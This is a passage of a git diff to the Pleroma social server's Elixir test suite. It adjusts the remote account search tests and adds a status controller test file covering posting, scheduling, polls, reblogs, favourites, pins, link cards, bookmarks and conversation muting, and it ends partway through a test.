+ |> get("/api/v1/search", %{"q" => "mike@osada.macgirvin.com", "resolve" => "true"})
+ |> json_response(200)
- assert results = json_response(conn, 200)
[account] = results["accounts"]
- assert account["acct"] == "shp@social.heldscal.la"
+ assert account["acct"] == "mike@osada.macgirvin.com"
end
test "search doesn't fetch remote accounts if resolve is false", %{conn: conn} do
- conn =
+ results =
conn
- |> get("/api/v1/search", %{"q" => "shp@social.heldscal.la", "resolve" => "false"})
+ |> get("/api/v1/search", %{"q" => "mike@osada.macgirvin.com", "resolve" => "false"})
+ |> json_response(200)
- assert results = json_response(conn, 200)
assert [] == results["accounts"]
end
diff --git a/test/web/mastodon_api/controllers/status_controller_test.exs b/test/web/mastodon_api/controllers/status_controller_test.exs
new file mode 100644
index 000000000..b03b4b344
--- /dev/null
+++ b/test/web/mastodon_api/controllers/status_controller_test.exs
@@ -0,0 +1,1226 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Web.MastodonAPI.StatusControllerTest do
+ use Pleroma.Web.ConnCase
+
+ alias Pleroma.Activity
+ alias Pleroma.ActivityExpiration
+ alias Pleroma.Config
+ alias Pleroma.Conversation.Participation
+ alias Pleroma.Object
+ alias Pleroma.Repo
+ alias Pleroma.ScheduledActivity
+ alias Pleroma.Tests.ObanHelpers
+ alias Pleroma.User
+ alias Pleroma.Web.ActivityPub.ActivityPub
+ alias Pleroma.Web.CommonAPI
+
+ import Pleroma.Factory
+
+ clear_config([:instance, :federating])
+ clear_config([:instance, :allow_relay])
+
+ describe "posting statuses" do
+ setup do: oauth_access(["write:statuses"])
+
+ test "posting a status does not increment reblog_count when relaying", %{conn: conn} do
+ Pleroma.Config.put([:instance, :federating], true)
+ Pleroma.Config.get([:instance, :allow_relay], true)
+
+ response =
+ conn
+ |> post("api/v1/statuses", %{
+ "content_type" => "text/plain",
+ "source" => "Pleroma FE",
+ "status" => "Hello world",
+ "visibility" => "public"
+ })
+ |> json_response(200)
+
+ assert response["reblogs_count"] == 0
+ ObanHelpers.perform_all()
+
+ response =
+ conn
+ |> get("api/v1/statuses/#{response["id"]}", %{})
+ |> json_response(200)
+
+ assert response["reblogs_count"] == 0
+ end
+
+ test "posting a status", %{conn: conn} do
+ idempotency_key = "Pikachu rocks!"
+
+ conn_one =
+ conn
+ |> put_req_header("idempotency-key", idempotency_key)
+ |> post("/api/v1/statuses", %{
+ "status" => "cofe",
+ "spoiler_text" => "2hu",
+ "sensitive" => "false"
+ })
+
+ {:ok, ttl} = Cachex.ttl(:idempotency_cache, idempotency_key)
+ # Six hours
+ assert ttl > :timer.seconds(6 * 60 * 60 - 1)
+
+ assert %{"content" => "cofe", "id" => id, "spoiler_text" => "2hu", "sensitive" => false} =
+ json_response(conn_one, 200)
+
+ assert Activity.get_by_id(id)
+
+ conn_two =
+ conn
+ |> put_req_header("idempotency-key", idempotency_key)
+ |> post("/api/v1/statuses", %{
+ "status" => "cofe",
+ "spoiler_text" => "2hu",
+ "sensitive" => "false"
+ })
+
+ assert %{"id" => second_id} = json_response(conn_two, 200)
+ assert id == second_id
+
+ conn_three =
+ conn
+ |> post("/api/v1/statuses", %{
+ "status" => "cofe",
+ "spoiler_text" => "2hu",
+ "sensitive" => "false"
+ })
+
+ assert %{"id" => third_id} = json_response(conn_three, 200)
+ refute id == third_id
+
+ # An activity that will expire:
+ # 2 hours
+ expires_in = 120 * 60
+
+ conn_four =
+ conn
+ |> post("api/v1/statuses", %{
+ "status" => "oolong",
+ "expires_in" => expires_in
+ })
+
+ assert fourth_response = %{"id" => fourth_id} = json_response(conn_four, 200)
+ assert activity = Activity.get_by_id(fourth_id)
+ assert expiration = ActivityExpiration.get_by_activity_id(fourth_id)
+
+ estimated_expires_at =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(expires_in)
+ |> NaiveDateTime.truncate(:second)
+
+ # This assert will fail if the test takes longer than a minute. I sure hope it never does:
+ assert abs(NaiveDateTime.diff(expiration.scheduled_at, estimated_expires_at, :second)) < 60
+
+ assert fourth_response["pleroma"]["expires_at"] ==
+ NaiveDateTime.to_iso8601(expiration.scheduled_at)
+ end
+
+ test "posting an undefined status with an attachment", %{user: user, conn: conn} do
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "media_ids" => [to_string(upload.id)]
+ })
+
+ assert json_response(conn, 200)
+ end
+
+ test "replying to a status", %{user: user, conn: conn} do
+ {:ok, replied_to} = CommonAPI.post(user, %{"status" => "cofe"})
+
+ conn =
+ conn
+ |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})
+
+ assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
+
+ activity = Activity.get_by_id(id)
+
+ assert activity.data["context"] == replied_to.data["context"]
+ assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
+ end
+
+ test "replying to a direct message with visibility other than direct", %{
+ user: user,
+ conn: conn
+ } do
+ {:ok, replied_to} = CommonAPI.post(user, %{"status" => "suya..", "visibility" => "direct"})
+
+ Enum.each(["public", "private", "unlisted"], fn visibility ->
+ conn =
+ conn
+ |> post("/api/v1/statuses", %{
+ "status" => "@#{user.nickname} hey",
+ "in_reply_to_id" => replied_to.id,
+ "visibility" => visibility
+ })
+
+ assert json_response(conn, 422) == %{"error" => "The message visibility must be direct"}
+ end)
+ end
+
+ test "posting a status with an invalid in_reply_to_id", %{conn: conn} do
+ conn = post(conn, "/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => ""})
+
+ assert %{"content" => "xD", "id" => id} = json_response(conn, 200)
+ assert Activity.get_by_id(id)
+ end
+
+ test "posting a sensitive status", %{conn: conn} do
+ conn = post(conn, "/api/v1/statuses", %{"status" => "cofe", "sensitive" => true})
+
+ assert %{"content" => "cofe", "id" => id, "sensitive" => true} = json_response(conn, 200)
+ assert Activity.get_by_id(id)
+ end
+
+ test "posting a fake status", %{conn: conn} do
+ real_conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" =>
+ "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it"
+ })
+
+ real_status = json_response(real_conn, 200)
+
+ assert real_status
+ assert Object.get_by_ap_id(real_status["uri"])
+
+ real_status =
+ real_status
+ |> Map.put("id", nil)
+ |> Map.put("url", nil)
+ |> Map.put("uri", nil)
+ |> Map.put("created_at", nil)
+ |> Kernel.put_in(["pleroma", "conversation_id"], nil)
+
+ fake_conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" =>
+ "\"Tenshi Eating a Corndog\" is a much discussed concept on /jp/. The significance of it is disputed, so I will focus on one core concept: the symbolism behind it",
+ "preview" => true
+ })
+
+ fake_status = json_response(fake_conn, 200)
+
+ assert fake_status
+ refute Object.get_by_ap_id(fake_status["uri"])
+
+ fake_status =
+ fake_status
+ |> Map.put("id", nil)
+ |> Map.put("url", nil)
+ |> Map.put("uri", nil)
+ |> Map.put("created_at", nil)
+ |> Kernel.put_in(["pleroma", "conversation_id"], nil)
+
+ assert real_status == fake_status
+ end
+
+ test "posting a status with OGP link preview", %{conn: conn} do
+ Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+ Config.put([:rich_media, :enabled], true)
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" => "https://example.com/ogp"
+ })
+
+ assert %{"id" => id, "card" => %{"title" => "The Rock"}} = json_response(conn, 200)
+ assert Activity.get_by_id(id)
+ end
+
+ test "posting a direct status", %{conn: conn} do
+ user2 = insert(:user)
+ content = "direct cofe @#{user2.nickname}"
+
+ conn = post(conn, "api/v1/statuses", %{"status" => content, "visibility" => "direct"})
+
+ assert %{"id" => id} = response = json_response(conn, 200)
+ assert response["visibility"] == "direct"
+ assert response["pleroma"]["direct_conversation_id"]
+ assert activity = Activity.get_by_id(id)
+ assert activity.recipients == [user2.ap_id, conn.assigns[:user].ap_id]
+ assert activity.data["to"] == [user2.ap_id]
+ assert activity.data["cc"] == []
+ end
+ end
+
+ describe "posting scheduled statuses" do
+ setup do: oauth_access(["write:statuses"])
+
+ test "creates a scheduled activity", %{conn: conn} do
+ scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" => "scheduled",
+ "scheduled_at" => scheduled_at
+ })
+
+ assert %{"scheduled_at" => expected_scheduled_at} = json_response(conn, 200)
+ assert expected_scheduled_at == CommonAPI.Utils.to_masto_date(scheduled_at)
+ assert [] == Repo.all(Activity)
+ end
+
+ test "creates a scheduled activity with a media attachment", %{user: user, conn: conn} do
+ scheduled_at = NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(120), :millisecond)
+
+ file = %Plug.Upload{
+ content_type: "image/jpg",
+ path: Path.absname("test/fixtures/image.jpg"),
+ filename: "an_image.jpg"
+ }
+
+ {:ok, upload} = ActivityPub.upload(file, actor: user.ap_id)
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "media_ids" => [to_string(upload.id)],
+ "status" => "scheduled",
+ "scheduled_at" => scheduled_at
+ })
+
+ assert %{"media_attachments" => [media_attachment]} = json_response(conn, 200)
+ assert %{"type" => "image"} = media_attachment
+ end
+
+ test "skips the scheduling and creates the activity if scheduled_at is earlier than 5 minutes from now",
+ %{conn: conn} do
+ scheduled_at =
+ NaiveDateTime.add(NaiveDateTime.utc_now(), :timer.minutes(5) - 1, :millisecond)
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" => "not scheduled",
+ "scheduled_at" => scheduled_at
+ })
+
+ assert %{"content" => "not scheduled"} = json_response(conn, 200)
+ assert [] == Repo.all(ScheduledActivity)
+ end
+
+ test "returns error when daily user limit is exceeded", %{user: user, conn: conn} do
+ today =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(:timer.minutes(6), :millisecond)
+ |> NaiveDateTime.to_iso8601()
+
+ attrs = %{params: %{}, scheduled_at: today}
+ {:ok, _} = ScheduledActivity.create(user, attrs)
+ {:ok, _} = ScheduledActivity.create(user, attrs)
+
+ conn = post(conn, "/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => today})
+
+ assert %{"error" => "daily limit exceeded"} == json_response(conn, 422)
+ end
+
+ test "returns error when total user limit is exceeded", %{user: user, conn: conn} do
+ today =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(:timer.minutes(6), :millisecond)
+ |> NaiveDateTime.to_iso8601()
+
+ tomorrow =
+ NaiveDateTime.utc_now()
+ |> NaiveDateTime.add(:timer.hours(36), :millisecond)
+ |> NaiveDateTime.to_iso8601()
+
+ attrs = %{params: %{}, scheduled_at: today}
+ {:ok, _} = ScheduledActivity.create(user, attrs)
+ {:ok, _} = ScheduledActivity.create(user, attrs)
+ {:ok, _} = ScheduledActivity.create(user, %{params: %{}, scheduled_at: tomorrow})
+
+ conn =
+ post(conn, "/api/v1/statuses", %{"status" => "scheduled", "scheduled_at" => tomorrow})
+
+ assert %{"error" => "total limit exceeded"} == json_response(conn, 422)
+ end
+ end
+
+ describe "posting polls" do
+ setup do: oauth_access(["write:statuses"])
+
+ test "posting a poll", %{conn: conn} do
+ time = NaiveDateTime.utc_now()
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" => "Who is the #bestgrill?",
+ "poll" => %{"options" => ["Rei", "Asuka", "Misato"], "expires_in" => 420}
+ })
+
+ response = json_response(conn, 200)
+
+ assert Enum.all?(response["poll"]["options"], fn %{"title" => title} ->
+ title in ["Rei", "Asuka", "Misato"]
+ end)
+
+ assert NaiveDateTime.diff(NaiveDateTime.from_iso8601!(response["poll"]["expires_at"]), time) in 420..430
+ refute response["poll"]["expred"]
+ end
+
+ test "option limit is enforced", %{conn: conn} do
+ limit = Config.get([:instance, :poll_limits, :max_options])
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" => "desu~",
+ "poll" => %{"options" => Enum.map(0..limit, fn _ -> "desu" end), "expires_in" => 1}
+ })
+
+ %{"error" => error} = json_response(conn, 422)
+ assert error == "Poll can't contain more than #{limit} options"
+ end
+
+ test "option character limit is enforced", %{conn: conn} do
+ limit = Config.get([:instance, :poll_limits, :max_option_chars])
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" => "...",
+ "poll" => %{
+ "options" => [Enum.reduce(0..limit, "", fn _, acc -> acc <> "." end)],
+ "expires_in" => 1
+ }
+ })
+
+ %{"error" => error} = json_response(conn, 422)
+ assert error == "Poll options cannot be longer than #{limit} characters each"
+ end
+
+ test "minimal date limit is enforced", %{conn: conn} do
+ limit = Config.get([:instance, :poll_limits, :min_expiration])
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" => "imagine arbitrary limits",
+ "poll" => %{
+ "options" => ["this post was made by pleroma gang"],
+ "expires_in" => limit - 1
+ }
+ })
+
+ %{"error" => error} = json_response(conn, 422)
+ assert error == "Expiration date is too soon"
+ end
+
+ test "maximum date limit is enforced", %{conn: conn} do
+ limit = Config.get([:instance, :poll_limits, :max_expiration])
+
+ conn =
+ post(conn, "/api/v1/statuses", %{
+ "status" => "imagine arbitrary limits",
+ "poll" => %{
+ "options" => ["this post was made by pleroma gang"],
+ "expires_in" => limit + 1
+ }
+ })
+
+ %{"error" => error} = json_response(conn, 422)
+ assert error == "Expiration date is too far in the future"
+ end
+ end
+
+ test "get a status" do
+ %{conn: conn} = oauth_access(["read:statuses"])
+ activity = insert(:note_activity)
+
+ conn = get(conn, "/api/v1/statuses/#{activity.id}")
+
+ assert %{"id" => id} = json_response(conn, 200)
+ assert id == to_string(activity.id)
+ end
+
+ test "get a direct status" do
+ %{user: user, conn: conn} = oauth_access(["read:statuses"])
+ other_user = insert(:user)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "@#{other_user.nickname}", "visibility" => "direct"})
+
+ conn =
+ conn
+ |> assign(:user, user)
+ |> get("/api/v1/statuses/#{activity.id}")
+
+ [participation] = Participation.for_user(user)
+
+ res = json_response(conn, 200)
+ assert res["pleroma"]["direct_conversation_id"] == participation.id
+ end
+
+ test "get statuses by IDs" do
+ %{conn: conn} = oauth_access(["read:statuses"])
+ %{id: id1} = insert(:note_activity)
+ %{id: id2} = insert(:note_activity)
+
+ query_string = "ids[]=#{id1}&ids[]=#{id2}"
+ conn = get(conn, "/api/v1/statuses/?#{query_string}")
+
+ assert [%{"id" => ^id1}, %{"id" => ^id2}] = Enum.sort_by(json_response(conn, :ok), & &1["id"])
+ end
+
+ describe "deleting a status" do
+ test "when you created it" do
+ %{user: author, conn: conn} = oauth_access(["write:statuses"])
+ activity = insert(:note_activity, user: author)
+
+ conn =
+ conn
+ |> assign(:user, author)
+ |> delete("/api/v1/statuses/#{activity.id}")
+
+ assert %{} = json_response(conn, 200)
+
+ refute Activity.get_by_id(activity.id)
+ end
+
+ test "when you didn't create it" do
+ %{conn: conn} = oauth_access(["write:statuses"])
+ activity = insert(:note_activity)
+
+ conn = delete(conn, "/api/v1/statuses/#{activity.id}")
+
+ assert %{"error" => _} = json_response(conn, 403)
+
+ assert Activity.get_by_id(activity.id) == activity
+ end
+
+ test "when you're an admin or moderator", %{conn: conn} do
+ activity1 = insert(:note_activity)
+ activity2 = insert(:note_activity)
+ admin = insert(:user, is_admin: true)
+ moderator = insert(:user, is_moderator: true)
+
+ res_conn =
+ conn
+ |> assign(:user, admin)
+ |> assign(:token, insert(:oauth_token, user: admin, scopes: ["write:statuses"]))
+ |> delete("/api/v1/statuses/#{activity1.id}")
+
+ assert %{} = json_response(res_conn, 200)
+
+ res_conn =
+ conn
+ |> assign(:user, moderator)
+ |> assign(:token, insert(:oauth_token, user: moderator, scopes: ["write:statuses"]))
+ |> delete("/api/v1/statuses/#{activity2.id}")
+
+ assert %{} = json_response(res_conn, 200)
+
+ refute Activity.get_by_id(activity1.id)
+ refute Activity.get_by_id(activity2.id)
+ end
+ end
+
+ describe "reblogging" do
+ setup do: oauth_access(["write:statuses"])
+
+ test "reblogs and returns the reblogged status", %{conn: conn} do
+ activity = insert(:note_activity)
+
+ conn = post(conn, "/api/v1/statuses/#{activity.id}/reblog")
+
+ assert %{
+ "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1},
+ "reblogged" => true
+ } = json_response(conn, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "reblogs privately and returns the reblogged status", %{conn: conn} do
+ activity = insert(:note_activity)
+
+ conn = post(conn, "/api/v1/statuses/#{activity.id}/reblog", %{"visibility" => "private"})
+
+ assert %{
+ "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1},
+ "reblogged" => true,
+ "visibility" => "private"
+ } = json_response(conn, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "reblogged status for another user" do
+ activity = insert(:note_activity)
+ user1 = insert(:user)
+ user2 = insert(:user)
+ user3 = insert(:user)
+ CommonAPI.favorite(activity.id, user2)
+ {:ok, _bookmark} = Pleroma.Bookmark.create(user2.id, activity.id)
+ {:ok, reblog_activity1, _object} = CommonAPI.repeat(activity.id, user1)
+ {:ok, _, _object} = CommonAPI.repeat(activity.id, user2)
+
+ conn_res =
+ build_conn()
+ |> assign(:user, user3)
+ |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"]))
+ |> get("/api/v1/statuses/#{reblog_activity1.id}")
+
+ assert %{
+ "reblog" => %{"id" => id, "reblogged" => false, "reblogs_count" => 2},
+ "reblogged" => false,
+ "favourited" => false,
+ "bookmarked" => false
+ } = json_response(conn_res, 200)
+
+ conn_res =
+ build_conn()
+ |> assign(:user, user2)
+ |> assign(:token, insert(:oauth_token, user: user2, scopes: ["read:statuses"]))
+ |> get("/api/v1/statuses/#{reblog_activity1.id}")
+
+ assert %{
+ "reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 2},
+ "reblogged" => true,
+ "favourited" => true,
+ "bookmarked" => true
+ } = json_response(conn_res, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "returns 400 error when activity is not exist", %{conn: conn} do
+ conn = post(conn, "/api/v1/statuses/foo/reblog")
+
+ assert json_response(conn, 400) == %{"error" => "Could not repeat"}
+ end
+ end
+
+ describe "unreblogging" do
+ setup do: oauth_access(["write:statuses"])
+
+ test "unreblogs and returns the unreblogged status", %{user: user, conn: conn} do
+ activity = insert(:note_activity)
+
+ {:ok, _, _} = CommonAPI.repeat(activity.id, user)
+
+ conn = post(conn, "/api/v1/statuses/#{activity.id}/unreblog")
+
+ assert %{"id" => id, "reblogged" => false, "reblogs_count" => 0} = json_response(conn, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "returns 400 error when activity is not exist", %{conn: conn} do
+ conn = post(conn, "/api/v1/statuses/foo/unreblog")
+
+ assert json_response(conn, 400) == %{"error" => "Could not unrepeat"}
+ end
+ end
+
+ describe "favoriting" do
+ setup do: oauth_access(["write:favourites"])
+
+ test "favs a status and returns it", %{conn: conn} do
+ activity = insert(:note_activity)
+
+ conn = post(conn, "/api/v1/statuses/#{activity.id}/favourite")
+
+ assert %{"id" => id, "favourites_count" => 1, "favourited" => true} =
+ json_response(conn, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "favoriting twice will just return 200", %{conn: conn} do
+ activity = insert(:note_activity)
+
+ post(conn, "/api/v1/statuses/#{activity.id}/favourite")
+ assert post(conn, "/api/v1/statuses/#{activity.id}/favourite") |> json_response(200)
+ end
+
+ test "returns 400 error for a wrong id", %{conn: conn} do
+ conn = post(conn, "/api/v1/statuses/1/favourite")
+
+ assert json_response(conn, 400) == %{"error" => "Could not favorite"}
+ end
+ end
+
+ describe "unfavoriting" do
+ setup do: oauth_access(["write:favourites"])
+
+ test "unfavorites a status and returns it", %{user: user, conn: conn} do
+ activity = insert(:note_activity)
+
+ {:ok, _, _} = CommonAPI.favorite(activity.id, user)
+
+ conn = post(conn, "/api/v1/statuses/#{activity.id}/unfavourite")
+
+ assert %{"id" => id, "favourites_count" => 0, "favourited" => false} =
+ json_response(conn, 200)
+
+ assert to_string(activity.id) == id
+ end
+
+ test "returns 400 error for a wrong id", %{conn: conn} do
+ conn = post(conn, "/api/v1/statuses/1/unfavourite")
+
+ assert json_response(conn, 400) == %{"error" => "Could not unfavorite"}
+ end
+ end
+
+ describe "pinned statuses" do
+ setup do: oauth_access(["write:accounts"])
+
+ setup %{user: user} do
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "HI!!!"})
+
+ %{activity: activity}
+ end
+
+ clear_config([:instance, :max_pinned_statuses]) do
+ Config.put([:instance, :max_pinned_statuses], 1)
+ end
+
+ test "pin status", %{conn: conn, user: user, activity: activity} do
+ id_str = to_string(activity.id)
+
+ assert %{"id" => ^id_str, "pinned" => true} =
+ conn
+ |> post("/api/v1/statuses/#{activity.id}/pin")
+ |> json_response(200)
+
+ assert [%{"id" => ^id_str, "pinned" => true}] =
+ conn
+ |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
+ |> json_response(200)
+ end
+
+ test "/pin: returns 400 error when activity is not public", %{conn: conn, user: user} do
+ {:ok, dm} = CommonAPI.post(user, %{"status" => "test", "visibility" => "direct"})
+
+ conn = post(conn, "/api/v1/statuses/#{dm.id}/pin")
+
+ assert json_response(conn, 400) == %{"error" => "Could not pin"}
+ end
+
+ test "unpin status", %{conn: conn, user: user, activity: activity} do
+ {:ok, _} = CommonAPI.pin(activity.id, user)
+ user = refresh_record(user)
+
+ id_str = to_string(activity.id)
+
+ assert %{"id" => ^id_str, "pinned" => false} =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/unpin")
+ |> json_response(200)
+
+ assert [] =
+ conn
+ |> get("/api/v1/accounts/#{user.id}/statuses?pinned=true")
+ |> json_response(200)
+ end
+
+ test "/unpin: returns 400 error when activity is not exist", %{conn: conn} do
+ conn = post(conn, "/api/v1/statuses/1/unpin")
+
+ assert json_response(conn, 400) == %{"error" => "Could not unpin"}
+ end
+
+ test "max pinned statuses", %{conn: conn, user: user, activity: activity_one} do
+ {:ok, activity_two} = CommonAPI.post(user, %{"status" => "HI!!!"})
+
+ id_str_one = to_string(activity_one.id)
+
+ assert %{"id" => ^id_str_one, "pinned" => true} =
+ conn
+ |> post("/api/v1/statuses/#{id_str_one}/pin")
+ |> json_response(200)
+
+ user = refresh_record(user)
+
+ assert %{"error" => "You have already pinned the maximum number of statuses"} =
+ conn
+ |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity_two.id}/pin")
+ |> json_response(400)
+ end
+ end
+
+ describe "cards" do
+ setup do
+ Config.put([:rich_media, :enabled], true)
+
+ oauth_access(["read:statuses"])
+ end
+
+ test "returns rich-media card", %{conn: conn, user: user} do
+ Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "https://example.com/ogp"})
+
+ card_data = %{
+ "image" => "http://ia.media-imdb.com/images/rock.jpg",
+ "provider_name" => "example.com",
+ "provider_url" => "https://example.com",
+ "title" => "The Rock",
+ "type" => "link",
+ "url" => "https://example.com/ogp",
+ "description" =>
+ "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer.",
+ "pleroma" => %{
+ "opengraph" => %{
+ "image" => "http://ia.media-imdb.com/images/rock.jpg",
+ "title" => "The Rock",
+ "type" => "video.movie",
+ "url" => "https://example.com/ogp",
+ "description" =>
+ "Directed by Michael Bay. With Sean Connery, Nicolas Cage, Ed Harris, John Spencer."
+ }
+ }
+ }
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/card")
+ |> json_response(200)
+
+ assert response == card_data
+
+ # works with private posts
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "https://example.com/ogp", "visibility" => "direct"})
+
+ response_two =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/card")
+ |> json_response(200)
+
+ assert response_two == card_data
+ end
+
+ test "replaces missing description with an empty string", %{conn: conn, user: user} do
+ Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end)
+
+ {:ok, activity} =
+ CommonAPI.post(user, %{"status" => "https://example.com/ogp-missing-data"})
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/card")
+ |> json_response(:ok)
+
+ assert response == %{
+ "type" => "link",
+ "title" => "Pleroma",
+ "description" => "",
+ "image" => nil,
+ "provider_name" => "example.com",
+ "provider_url" => "https://example.com",
+ "url" => "https://example.com/ogp-missing-data",
+ "pleroma" => %{
+ "opengraph" => %{
+ "title" => "Pleroma",
+ "type" => "website",
+ "url" => "https://example.com/ogp-missing-data"
+ }
+ }
+ }
+ end
+ end
+
+ test "bookmarks" do
+ %{conn: conn} = oauth_access(["write:bookmarks", "read:bookmarks"])
+ author = insert(:user)
+
+ {:ok, activity1} =
+ CommonAPI.post(author, %{
+ "status" => "heweoo?"
+ })
+
+ {:ok, activity2} =
+ CommonAPI.post(author, %{
+ "status" => "heweoo!"
+ })
+
+ response1 = post(conn, "/api/v1/statuses/#{activity1.id}/bookmark")
+
+ assert json_response(response1, 200)["bookmarked"] == true
+
+ response2 = post(conn, "/api/v1/statuses/#{activity2.id}/bookmark")
+
+ assert json_response(response2, 200)["bookmarked"] == true
+
+ bookmarks = get(conn, "/api/v1/bookmarks")
+
+ assert [json_response(response2, 200), json_response(response1, 200)] ==
+ json_response(bookmarks, 200)
+
+ response1 = post(conn, "/api/v1/statuses/#{activity1.id}/unbookmark")
+
+ assert json_response(response1, 200)["bookmarked"] == false
+
+ bookmarks = get(conn, "/api/v1/bookmarks")
+
+ assert [json_response(response2, 200)] == json_response(bookmarks, 200)
+ end
+
+ describe "conversation muting" do
+ setup do: oauth_access(["write:mutes"])
+
+ setup do
+ post_user = insert(:user)
+ {:ok, activity} = CommonAPI.post(post_user, %{"status" => "HIE"})
+ %{activity: activity}
+ end
+
+ test "mute conversation", %{conn: conn, activity: activity} do
+ id_str = to_string(activity.id)
+
+ assert %{"id" => ^id_str, "muted" => true} =
+ conn
+ |> post("/api/v1/statuses/#{activity.id}/mute")
+ |> json_response(200)
+ end
+
+ test "cannot mute already muted conversation", %{conn: conn, user: user, activity: activity} do
+ {:ok, _} = CommonAPI.add_mute(user, activity)
+
+ conn = post(conn, "/api/v1/statuses/#{activity.id}/mute")
+
+ assert json_response(conn, 400) == %{"error" => "conversation is already muted"}
+ end
+
+ test "unmute conversation", %{conn: conn, user: user, activity: activity} do
+ {:ok, _} = CommonAPI.add_mute(user, activity)
+
+ id_str = to_string(activity.id)
+
+ assert %{"id" => ^id_str, "muted" => false} =
+ conn
+ # |> assign(:user, user)
+ |> post("/api/v1/statuses/#{activity.id}/unmute")
+ |> json_response(200)
+ end
+ end
+
+ test "Repeated posts that are replies incorrectly have in_reply_to_id null", %{conn: conn} do
+ user1 = insert(:user)
+ user2 = insert(:user)
+ user3 = insert(:user)
+
+ {:ok, replied_to} = CommonAPI.post(user1, %{"status" => "cofe"})
+
+ # Reply to status from another user
+ conn1 =
+ conn
+ |> assign(:user, user2)
+ |> assign(:token, insert(:oauth_token, user: user2, scopes: ["write:statuses"]))
+ |> post("/api/v1/statuses", %{"status" => "xD", "in_reply_to_id" => replied_to.id})
+
+ assert %{"content" => "xD", "id" => id} = json_response(conn1, 200)
+
+ activity = Activity.get_by_id_with_object(id)
+
+ assert Object.normalize(activity).data["inReplyTo"] == Object.normalize(replied_to).data["id"]
+ assert Activity.get_in_reply_to_activity(activity).id == replied_to.id
+
+ # Reblog from the third user
+ conn2 =
+ conn
+ |> assign(:user, user3)
+ |> assign(:token, insert(:oauth_token, user: user3, scopes: ["write:statuses"]))
+ |> post("/api/v1/statuses/#{activity.id}/reblog")
+
+ assert %{"reblog" => %{"id" => id, "reblogged" => true, "reblogs_count" => 1}} =
+ json_response(conn2, 200)
+
+ assert to_string(activity.id) == id
+
+ # Getting third user status
+ conn3 =
+ conn
+ |> assign(:user, user3)
+ |> assign(:token, insert(:oauth_token, user: user3, scopes: ["read:statuses"]))
+ |> get("api/v1/timelines/home")
+
+ [reblogged_activity] = json_response(conn3, 200)
+
+ assert reblogged_activity["reblog"]["in_reply_to_id"] == replied_to.id
+
+ replied_to_user = User.get_by_ap_id(replied_to.data["actor"])
+ assert reblogged_activity["reblog"]["in_reply_to_account_id"] == replied_to_user.id
+ end
+
+ describe "GET /api/v1/statuses/:id/favourited_by" do
+ setup do: oauth_access(["read:accounts"])
+
+ setup %{user: user} do
+ {:ok, activity} = CommonAPI.post(user, %{"status" => "test"})
+
+ %{activity: activity}
+ end
+
+ test "returns users who have favorited the status", %{conn: conn, activity: activity} do
+ other_user = insert(:user)
+ {:ok, _, _} = CommonAPI.favorite(activity.id, other_user)
+
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(:ok)
+
+ [%{"id" => id}] = response
+
+ assert id == other_user.id
+ end
+
+ test "returns empty array when status has not been favorited yet", %{
+ conn: conn,
+ activity: activity
+ } do
+ response =
+ conn
+ |> get("/api/v1/statuses/#{activity.id}/favourited_by")
+ |> json_response(:ok)
+
+ assert Enum.empty?(response)
+ end
+
+ test "does not return users who have favorited the status but are blocked", %{
+ conn: %{assigns: %{user: user}} = conn,
+ activity: activity
+ } do
+ other_user = insert(:user)
+ {:ok, _user_relationship} = User.block(user, other_user)
+
